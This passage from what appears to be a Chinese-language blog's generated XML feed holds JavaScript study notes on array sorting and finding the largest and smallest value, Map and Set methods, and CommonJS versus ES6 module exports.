class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式二：一般的 两层 for循环</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span>; i++) &#123;</span><br><span class="line">   <span class="keyword">for</span> (<span class="keyword">var</span> j = i + <span class="number">1</span>; j &lt; arr.<span class="property">length</span>; j++) &#123;</span><br><span class="line">       <span class="keyword">if</span> (arr[i] &gt; arr[j]) &#123;</span><br><span class="line">           temp = arr[i];</span><br><span class="line">         arr[i] = arr[j];</span><br><span class="line">           arr[j] = temp;</span><br><span class="line">       &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式三：冒泡排序，与 方式二 思路不同，不过也是 两层 for循环</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span> - <span class="number">1</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">var</span> j = i + <span class="number">1</span>; j &lt; arr.<span class="property">length</span> - <span class="number">1</span> + i; j++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (arr[i] &gt; arr[j]) &#123;</span><br><span class="line">            temp = arr[i];</span><br><span class="line">            arr[i] = arr[j];</span><br><span class="line">            arr[j] = temp;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//题外：若不需要升、降序，只求一个最值，1层冒泡循环即可</span></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span> - <span class="number">1</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">if</span> (arr[i] &gt; arr[i + <span class="number">1</span>]) &#123;<span class="comment">//最大值 在数组的 最右边</span></span><br><span class="line">        temp = arr[i];</span><br><span class="line">        arr[i] = arr[i + <span class="number">1</span>];</span><br><span class="line">        arr[i + <span class="number">1</span>] = temp;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//以下2种方式 只能求出 最值。没有升、降序！</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式四：单层 for循环</span></span><br><span class="line"><span class="comment">//（很重要！由于两个自定义最值一开始就要参与比较。两个 最值必须 相等，且使用数组中的任一个元素进行赋值！！！）</span></span><br><span class="line"><span class="keyword">var</span> min = max = arr[<span class="number">0</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> i = <span class="number">0</span>; i &lt; arr.<span class="property">length</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">if</span> (arr[i] &gt; max) &#123;</span><br><span class="line">        max = arr[i];</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (arr[i] &lt; min) &#123;</span><br><span class="line">        min = arr[i];</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 方式五：Array.reduce()</span></span><br><span class="line"><span class="keyword">var</span> min = max = <span class="number">0</span>;</span><br><span class="line"> max = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> &#123;</span><br><span class="line">     <span class="keyword">return</span> a &gt; b ? a : b;</span><br><span class="line"> &#125;);</span><br><span class="line"> min = arr.<span class="title function_">reduce</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> &#123;</span><br><span class="line">     <span class="keyword">return</span> a &lt; b ? a : b;</span><br><span class="line"> &#125;);</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Set与map</title>
      <link href="/posts/set-yu-map/"/>
      <url>/posts/set-yu-map/</url>
      
        <content type="html"><![CDATA[<h2 id="Map的数据结构："><a href="#Map的数据结构：" class="headerlink" title="Map的数据结构："></a>Map的数据结构：</h2><div class="tip cogs"><p>一组具有键值对的结构,注意参数顺序（key：value），key具有 唯一性 value可有可无，可重复</p></div><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//写法1：</span></span><br><span class="line"><span class="keyword">var</span> m=<span class="keyword">new</span> <span class="title class_">Map</span>([[<span class="string">&#x27;Michael&#x27;</span>,<span class="number">95</span>],[<span class="string">&#x27;Bob&#x27;</span>,<span class="number">75</span>],[<span class="string">&#x27;Tracy&#x27;</span>,<span class="number">85</span>]]);</span><br><span class="line"><span class="comment">//写法2</span></span><br><span class="line"><span class="keyword">var</span> scoreList =[&#123;<span class="attr">name</span>:<span class="string">&#x27;Tim&#x27;</span>,<span class="attr">age</span>:<span class="number">18</span>,<span class="attr">score</span>:<span class="number">90</span>&#125;,</span><br><span class="line">                &#123;<span class="attr">name</span>:<span class="string">&#x27;Tony&#x27;</span>,<span class="attr">age</span>:<span class="number">17</span>,<span class="attr">score</span>:<span class="number">95</span>&#125;,</span><br><span class="line">                &#123;<span class="attr">name</span>:<span class="string">&#x27;Kevin&#x27;</span>,<span class="attr">age</span>:<span class="number">18</span>,<span class="attr">score</span>:<span class="number">91</span>&#125;];</span><br></pre></td></tr></table></figure><p>如上为map的数据结构用 二维数组 表示的键值对</p><h3 id="map结构常用方法："><a href="#map结构常用方法：" class="headerlink" title="map结构常用方法："></a>map结构常用方法：</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">map.<span class="title function_">set</span>(key,value)----&gt;给map添加键值对元素，返回值类型为空类型</span><br><span class="line"><span class="keyword">var</span> m=<span class="keyword">new</span> <span class="title class_">Map</span>();<span class="comment">//添加空的Map</span></span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&#x27;Adam&#x27;</span>,<span class="number">67</span>);<span class="comment">//添加新的key-value</span></span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&quot;Bob&quot;</span>,<span class="number">59</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(m)<span class="comment">// 结果 &#123; &#x27;Adam&#x27; =&gt; 67, &#x27;Bob&#x27; =&gt; 59 &#125;</span></span><br><span class="line"></span><br><span class="line">map.<span class="title function_">has</span>(key)---&gt;检查map是否含有key，返回值类型为boolean类型</span><br><span class="line"><span class="keyword">var</span> m=<span class="keyword">new</span> <span class="title class_">Map</span>();<span class="comment">//添加空的Map</span></span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&#x27;Adam&#x27;</span>,<span class="number">67</span>);<span class="comment">//添加新的key-value</span></span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&quot;Bob&quot;</span>,<span class="number">59</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(m.<span class="title function_">has</span>(<span class="string">&quot;Adam&quot;</span>))<span class="comment">//true</span></span><br><span class="line"></span><br><span class="line">map.<span class="title function_">delete</span>(key)----&gt;通过key删除元素</span><br><span class="line">map.<span class="title function_">set</span>(key,value)----&gt;给map添加键值对元素，返回值类型为空类型</span><br><span class="line"><span class="keyword">var</span> m=<span class="keyword">new</span> <span class="title class_">Map</span>();<span class="comment">//添加空的Map</span></span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&#x27;Adam&#x27;</span>,<span class="number">67</span>);<span class="comment">//添加新的key-value</span></span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&quot;Bob&quot;</span>,<span class="number">59</span>);</span><br><span class="line">m.<span class="title function_">delete</span>(<span class="string">&quot;Bob&quot;</span>)</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(m.<span class="title function_">has</span>(<span class="string">&quot;Bob&quot;</span>));<span class="comment">//undefined1234567</span></span><br></pre></td></tr></table></figure><h3 id="需要注意的"><a href="#需要注意的" class="headerlink" title="需要注意的:"></a>需要注意的:</h3><p>由于一个key只能对应一个value，所以，多次对一个key放入value，后面的值会把前面的值覆盖：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> m =<span class="keyword">new</span> <span class="title class_">Map</span>();</span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&#x27;Adam&#x27;</span>,<span class="number">67</span>);</span><br><span class="line">m.<span class="title function_">set</span>(<span class="string">&#x27;Adam&#x27;</span>,<span class="number">88</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(m.<span class="title function_">get</span>(<span class="string">&#x27;Adam&#x27;</span>));<span class="comment">// 88</span></span><br></pre></td></tr></table></figure><h3 id="map拓展："><a href="#map拓展：" class="headerlink" title="map拓展："></a>map拓展：</h3><p><img src="/posts/set-yu-map/map.webp" alt="map"><br><img src="/posts/set-yu-map/map-console.webp" alt="map-console"></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">    <span class="comment">// map的声明</span></span><br><span class="line">    <span class="keyword">let</span> map = <span class="keyword">new</span> <span class="title class_">Map</span>();</span><br><span class="line">    <span class="comment">// map的赋值</span></span><br><span class="line">    map.<span class="title function_">set</span>(<span class="string">&#x27;路飞&#x27;</span>, <span class="number">20</span>);</span><br><span class="line">    map.<span class="title function_">set</span>(<span class="string">&#x27;索隆&#x27;</span>, <span class="number">21</span>);</span><br><span class="line">    map.<span class="title function_">set</span>(<span class="string">&#x27;山治&#x27;</span>, <span class="number">22</span>);</span><br><span class="line">    map.<span class="title function_">set</span>(<span class="string">&#x27;娜美&#x27;</span>, <span class="number">23</span>);</span><br><span class="line">    <span class="comment">// 输出map</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(map);</span><br><span class="line">    <span class="comment">// 输出map的value</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(map.<span class="title function_">get</span>(<span class="string">&#x27;山治&#x27;</span>));</span><br><span class="line">    <span class="comment">// key不存在就是新增 key存在就是修改</span></span><br><span class="line">    map.<span class="title function_">set</span>(<span class="string">&#x27;山治&#x27;</span>, <span class="number">18</span>);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(map.<span class="title function_">get</span>(<span class="string">&#x27;山治&#x27;</span>));</span><br><span class="line">    <span class="comment">// map遍历</span></span><br><span class="line">    <span class="comment">// 一个参数遍历的是value值</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;+++++++++++++++++++++++++&#x27;</span>);</span><br><span class="line">    map.<span class="title function_">forEach</span>(<span class="function"><span class="params">element</span> =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(element);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="comment">// 第一个参数是value值 第二个参数值是key</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;+++++++++++++++++++++++++&#x27;</span>);</span><br><span class="line">    map.<span class="title function_">forEach</span>(<span class="function">(<span class="params">v, k</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(k + <span class="string">&#x27;==&gt;&#x27;</span> + v);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;+++++++++++++++++++++++++&#x27;</span>);</span><br><span class="line">    <span class="comment">// for of遍历出的是数组 然后读取数组元素的值拼接</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> array <span class="keyword">of</span> map) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(array[<span class="number">0</span>], <span class="string">&#x27;==&gt;&#x27;</span>, array[<span class="number">1</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><h2 id="Set的数据结构"><a href="#Set的数据结构" class="headerlink" title="Set的数据结构:"></a>Set的数据结构:</h2><div class="tip cogs"><p>Set和Map类似，也是一组key（唯一性）的集合，但不存储value。由于key不能重复，所以，在Set中，没有重复的key。</p></div><p>用代码表示Set的数据结构：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> set=&#123;<span class="number">1</span>，<span class="number">2</span>，<span class="number">3</span>，<span class="number">4</span>&#125;</span><br><span class="line">要创建一个<span class="title class_">Set</span>,需要提供一个<span class="title class_">Array</span>作为输入,或者直接创建一个空<span class="title class_">Set</span>：</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> s1 =<span class="keyword">new</span> <span class="title class_">Set</span>();<span class="comment">// 空Set</span></span><br><span class="line"><span class="keyword">var</span> s2 =<span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]);</span><br><span class="line">用于 数组去重:</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> s = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">3</span>,<span class="string">&#x27;3&#x27;</span>]);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(s);<span class="comment">//&#123;1,2,3,&quot;3&quot;&#125;12</span></span><br></pre></td></tr></table></figure><h3 id="Set的常用方法"><a href="#Set的常用方法" class="headerlink" title="Set的常用方法"></a>Set的常用方法</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Set</span>.<span class="title function_">add</span>(key);----&gt;添加元素，参数为key,可以重复添加，但不会有效果：</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> set = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]);<span class="comment">//初始化Set</span></span><br><span class="line"> s.<span class="title function_">add</span>(<span class="number">4</span>);</span><br><span class="line"> s.<span class="title function_">add</span>(<span class="number">4</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(s);<span class="comment">// Set &#123;1, 2, 3, 4&#125;</span></span><br><span class="line"><span class="title class_">Set</span>.<span class="title function_">has</span>(key)—&gt;判断<span class="title class_">Set</span>中是否有<span class="title function_">key</span>(元素)</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> s = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(s.<span class="title function_">has</span>(<span class="number">4</span>));<span class="comment">//false</span></span><br><span class="line"><span class="title class_">Set</span>.<span class="title function_">delete</span>(key)—&gt;删除对应的key</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> s = <span class="keyword">new</span> <span class="title class_">Set</span>([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]);</span><br><span class="line">s.<span class="title function_">delete</span>(<span class="number">3</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(s);<span class="comment">//&#123;1,2&#125;</span></span><br></pre></td></tr></table></figure><h3 id="set拓展："><a href="#set拓展：" class="headerlink" title="set拓展："></a>set拓展：</h3><p><img src="/posts/set-yu-map/set.webp" alt="set"><br><img src="/posts/set-yu-map/set-console.webp" alt="set-console"></p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">    <span class="comment">// 声明一个集合</span></span><br><span class="line">    <span class="keyword">let</span> list = [<span class="string">&#x27;路飞&#x27;</span>, <span class="string">&#x27;索隆&#x27;</span>, <span class="string">&#x27;路飞&#x27;</span>];</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(list);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(list.<span class="property">length</span>);</span><br><span class="line">    <span class="comment">// 声明一个array集合 可以储存重复的值</span></span><br><span class="line">    <span class="keyword">let</span> array = <span class="keyword">new</span> <span class="title class_">Array</span>(list);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(array);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(array.<span class="property">length</span>);</span><br><span class="line">    <span class="comment">// 声明一个set集合 不可以储存重复的值</span></span><br><span class="line">    <span class="keyword">let</span> set = <span class="keyword">new</span> <span class="title class_">Set</span>(list);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(set);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(set.<span class="property">size</span>);</span><br><span class="line">    <span class="comment">// 判断元素是否存在</span></span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(set.<span class="title function_">has</span>(<span class="string">&#x27;索隆&#x27;</span>));</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(set.<span class="title function_">has</span>(<span class="string">&#x27;娜美&#x27;</span>));</span><br><span class="line">    <span class="comment">// 添加元素</span></span><br><span class="line">    set.<span class="title function_">add</span>(<span class="string">&#x27;山治&#x27;</span>);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(set);</span><br><span class="line">    <span class="comment">// 不会添加重复元素</span></span><br><span class="line">    set.<span class="title function_">add</span>(<span class="string">&#x27;路飞&#x27;</span>);</span><br><span class="line">    set.<span class="title function_">add</span>(<span class="string">&#x27;索隆&#x27;</span>);</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(set);</span><br><span class="line">    <span class="comment">// 遍历set</span></span><br><span class="line">    set.<span class="title function_">forEach</span>(<span class="function"><span class="params">element</span> =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(element);</span><br><span class="line">    &#125;);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">const</span> it <span class="keyword">of</span> set) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(it);</span><br><span class="line">    &#125;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> 学习 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> js </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>commonJs与Es6Module</title>
      <link href="/posts/commonjs-yu-es6module/"/>
      <url>/posts/commonjs-yu-es6module/</url>
      
        <content type="html"><![CDATA[<h2 id="一、commonJs模块化规范"><a href="#一、commonJs模块化规范" class="headerlink" title="一、commonJs模块化规范"></a>一、commonJs模块化规范</h2><p>【1.js文件直接输出结果；2.须在node 环境使用，html不认识require，报错Uncaught ReferenceError: require is not defined】<br>目录结构：</p><div class="tip cogs"><p>–index.js【入口js，该js文件使用“require 关键字”引入 小模块nodeOut.js】<br>–nodeOut.js【小模块，该js文件使用“exports 关键字”暴露 数据】</p></div><p>》》nodeOut.js 暴露 数据：<br>注意：（若引入的是没有 通过exports暴露的 模块（js文件），会得到一个空对象 {} ）<br>1.被引入模块的（js文件,例如nodeOut.js）中，通过exports暴露的是 至少包含一个 键值对 的 对象；被引入模块的（json文件）中，通过exports暴露的是“json文件中的内容”。<br>将要引入 模块的（js文件）中，通过require(‘.js’)引入的是 至少包含一个 键值对 的 对象。<br>示例：暴露（一个数据） </p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">exports</span>.<span class="property">address</span> = <span class="string">&#x27;郑州&#x27;</span>，</span><br><span class="line"></span><br><span class="line">或</span><br><span class="line"></span><br><span class="line"><span class="keyword">let</span> address = <span class="string">&#x27;郑州&#x27;</span>;</span><br><span class="line"><span class="built_in">exports</span>.<span class="property">address</span> = address;<span class="comment">//暴露出 只包含一个键值对 的对象 &#123;address:&quot;郑州&quot;&#125;</span></span><br></pre></td></tr></table></figure><p>两种方式都一样，通过require(‘.&#x2F;nodeOut.js’)引入，</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">require</span>(<span class="string">&#x27;./nodeOut.js&#x27;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);<span class="comment">// &#123;address:&quot;郑州&quot;&#125;</span></span><br></pre></td></tr></table></figure><ol start="2"><li>示例：暴露（多个数据）</li></ol><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> names = <span class="string">&#x27;张三&#x27;</span>;</span><br><span class="line"><span class="keyword">function</span> <span class="title function_">logout</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;退出&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">方式<span class="number">1</span>：(直接导出 <span class="number">1</span>个对象！其中 每个键值对的 键、值 名相同，可简写一个名字)</span><br><span class="line"><span class="variable language_">module</span>.<span class="property">exports</span> = &#123;</span><br><span class="line">    <span class="attr">names</span>:names, logout</span><br><span class="line">&#125;</span><br><span class="line">方式<span class="number">2</span>：</span><br><span class="line"><span class="built_in">exports</span>.<span class="property">names</span> = names;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span>暴露方式<span class="number">1</span>：<span class="built_in">exports</span>.<span class="property">logout</span> = logout;</span><br><span class="line">或者 不在上面声明 具名函数，而直接 暴露 出：【如下方式 单独暴露 函数，导出的是 匿名 函数体（两种暴露<span class="keyword">function</span>方式最终的“引用的传递”效果相同）】</span><br><span class="line"><span class="keyword">function</span>暴露方式<span class="number">2</span>：<span class="built_in">exports</span>.<span class="property">logout</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;退出&#x27;</span>);</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>》》index.js 引入数据：<br>let a &#x3D; require(‘.&#x2F;nodeOut.js’);<br>console.log(a);<br>通过function暴露方式1 输出： { names: ‘张三’, logout: [Function:logout] }，<br>通过function暴露方式2 输出： { names: ‘张三’, logout: [Function] }<br>a.logout();&#x2F;&#x2F; 退出</p><div class="tip sync"><p>【重点总结：无论是 方式1、方式2 哪种暴露方式，最终导出的本质都是一个对象，可以通过该对象的“属性”来访问暴露的功能。】<br>【补充：json文件只有 2种 数据格式：”string”，，，，[{“string”}] 或 [{“string”:”string”}]】</p></div><p>3.引入模块时，通过require(‘.&#x2F;a’)，可省略 拓展名，具体有3种情况：<br>将要引入 模块的 index.js文件 所在目录中，<br>若同时有a.js、a.json、(文件夹)a&#x2F;index.js，通过require(‘.&#x2F;a’)引入的 默认是 a.js；<br>目录结构：</p><div class="tip cogs"><p>–a&#x2F;index.js<br>–a.json<br>–a.js<br>–index.js</p><p>若同时有a.json、(文件夹)a&#x2F;index.js，没有a.js，则通过require(‘.&#x2F;a’)引入的 默认是 a.json；<br>目录结构：<br>–a&#x2F;index.js<br>–a.json<br>–index.js</p><p>若只有 (文件夹)a&#x2F;index.js，则通过require(‘.&#x2F;a’)引入的 默认是 同目录a文件夹下的 index.js；<br>目录结构：<br>–a&#x2F;index.js<br>–index.js</p></div><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> a = <span class="built_in">require</span>(<span class="string">&#x27;./a&#x27;</span>);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br></pre></td></tr></table></figure><h2 id="二、es6提出的ESmodule模块化规范"><a href="#二、es6提出的ESmodule模块化规范" class="headerlink" title="二、es6提出的ESmodule模块化规范"></a>二、es6提出的ESmodule模块化规范</h2><p>【1.html通过<code>&lt;script src:&quot;js文件&quot; type:&quot;module&quot;&gt;&lt;/script&gt;</code>引入js文件后，html页面输出结果；2.浏览器客户端中使用】</p><div class="tip sync"><p>【补充：<br>—同源策略：页面之间的数据传输的基础是同源（协议、域名、端口号 都相同），否则会出现“跨域”错误;<br>—不同于 commonJs中的require(‘a’)，函数import(‘.js’)中的“拓展名”，不能省略！只能import(‘a.js’)<br>—不同于 commonJs中的 exports.key名 &#x3D; value值、module.exports &#x3D; {key:value}，前面暴露的必须是个对象a（let a &#x3D; require(‘a’)引入后，可直接通过“a.属性名”访问）；</p></div><ol><li>ESmodule中”命名导出”方式，（即export let 变量名、或 export{ 变量名1，函数名1} ）暴露的也都是一个对象。<br>注意：<br>暴露出的 变量名、函数名 或类名 作为该对象的“属性名”（都要在import处必须使用 {}“解构”要导入的“同名属性”，如import {name,fn} from ‘.&#x2F;toolA.js’导入，之后fn函数可直接”fn()”调用。）。 </li><li>通过export default暴露的内容可以是一个对象、函数、类、基本数据类型等任何合法的JavaScript表达式，并不一定是一个对象。它们可以直接通过import语句“自定义模块名”导入，而无需使用 {} 解构。<br>】<br>目录结构：</li></ol><div class="tip cogs"><p>–index.html【主页面，该文件以<code>&lt;script src=&quot;./main.js&quot; type=&quot;module&quot;&gt;&lt;/script&gt;</code>方式引入， 并执行main.js。[script标签可以跨域请求资源]】<br>–main.js【入口js，该js文件使用“import {变量名} from ‘路径’ ”引入 大模块tool.js】<br>–tool&#x2F;tool.js【大模块，该js文件使用“export 关键字”暴露 数据】<br>–tool&#x2F;toolA.js【tool.js中的 小模块toolA.js，该js文件使用“export 关键字”暴露 数据】<br>–tool&#x2F;toolB.js【tool.js中的 小模块toolB.js，该js文件使用“export 关键字”暴露 数据】</p></div><p>》》小模块toolA.js 暴露数据：<br>【“命名导出”允许为模块中的多个功能分别指定导出名称。一个模块可以有多个命名导出。使用命名导出后，在引入该模块时，要使用 {} 解构，且只能使用原名称，可直接“原方法名()”调用。即必须import {name,fn} from ‘.&#x2F;toolA.js’导入，fn函数可直接”fn()”调用。】<br>“命名导出”方式1（即将”声明”直接通过”export关键字”导出。也可理解为将 变量名(或函数名)分别 导出）：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">var</span> name = <span class="string">&#x27;张三&#x27;</span>;</span><br><span class="line"><span class="keyword">export</span> <span class="keyword">function</span> <span class="title function_">fn</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;这里是 toolA.js&#x27;</span>);</span><br><span 